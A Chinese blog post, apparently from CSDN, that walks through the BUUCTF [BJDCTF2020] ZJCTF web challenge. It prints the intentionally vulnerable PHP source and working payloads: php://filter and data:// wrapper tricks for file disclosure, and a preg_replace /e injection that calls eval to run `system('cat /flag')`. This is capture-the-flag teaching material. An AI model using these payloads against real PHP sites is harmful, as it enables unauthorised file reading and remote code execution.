当前位置:网站首页>BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
-
进入环境后得到源码
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
-
使用PHP伪协议构造payload
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
回显
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
base64解密
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
-
这里可以看出cmd参数存在命令执行漏洞,但问题是如何调用getFlag()函数。这里涉及到 preg_replace /e 模式的代码执行漏洞
function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; }
若payload为
/?.*={${phpinfo()}}
则
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); 变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', { ${ phpinfo()}});
注意:正则表达式模式或部分模式两边添加
()
将导致匹配到的字符串存储到临时缓冲区中,缓冲区编号从1开始,最多存储99个子表达式。每个缓冲区都可以用\n
访问,其中n为缓冲区编号。preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
将会把{${phpinfo()}}
存储到缓冲区1,此时匹配后的字符串为/(\\1)/ei
,\\1
即\1
,这将会导致反向引用缓冲区的内容,将其修改为/{${phpinfo()}}/ei
,从而导致命令执行。 -
在本题中,PHP会将传入的非法的
$_GET
数组参数名转化为下划线,即将.*
转化为_
。可以修改payload为?\S*=${getFlag()}&cmd=...
其中
\S
表示匹配任何非空白字符,从而达到我们调用getFlag函数的目的 -
构造payload
?\S*=${getFlag()}&cmd=system('cat /flag');
回显
flag{6b53cc7c-e9e8-47a1-80ed-10ca16c81ae5} system('cat /flag');
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124351859
边栏推荐
- 传统企业如何应对数字化转型?这些书给你答案
- 程序员如何用130行代码敲定核酸统计
- Interpretation 3 of gdpr series: how do European subsidiaries return data to domestic parent companies?
- 解锁OpenHarmony技术日!年度盛会,即将揭幕!
- 一个平面设计师的异想世界|ONES 人物
- 甲辰篇 創世紀《「內元宇宙」聯載》
- C# F23. Stringsimilarity Library: String repeatability, text similarity, anti plagiarism
- IDEA 代码质量规范插件SonarLint
- IDEA 代码格式化插件Save Actions
- Windows11 安装MySQL服务 提示:Install/Remove of the Service Denied
猜你喜欢
Idea code quality specification plug-in sonarlint
九十八、freemarker框架报错 s.e.ErrorMvcAutoConfiguration$StaticView : Cannot render error page for request
C set Logo Icon and shortcut icon
为什么要有包装类,顺便说一说基本数据类型、包装类、String类该如何转换?
IDEA 数据库插件Database Navigator 插件
宝塔面板命令行帮助教程(包含重置密码)
Here comes the detailed picture and text installation tutorial of H5 game
Qt进程间通信
SPSS之单因素方差分析
Tips for installing MySQL service in windows11: Install / Remove of the Service denied
随机推荐
Qt绘制文字
[unity note] basic lighting in l4unity
Hard core parsing promise object (do you know these seven common APIs and seven key questions?)
Fastjson 2 来了,性能继续提升,还能再战十年
5-minute NLP: text to text transfer transformer (T5) unified text to text task model
欣旺达宣布电池产品涨价 此前获“蔚小理”投资超10亿
Message queuing overview
Metalama简介4.使用Fabric操作项目或命名空间
Idea setting copyright information
Qt一个进程运行另一个进程
网络信息安全之零信任
C# F23. Stringsimilarity Library: String repeatability, text similarity, anti plagiarism
The maximum number of remote desktop servers has been exceeded
甲辰篇 創世紀《「內元宇宙」聯載》
c# 设置logo图标和快捷方式的图标
A graphic designer's fantasy world | ones characters
IDEA 数据库插件Database Navigator 插件
Source code analysis of synchronousqueue
QT interprocess communication
宝塔面板命令行帮助教程(包含重置密码)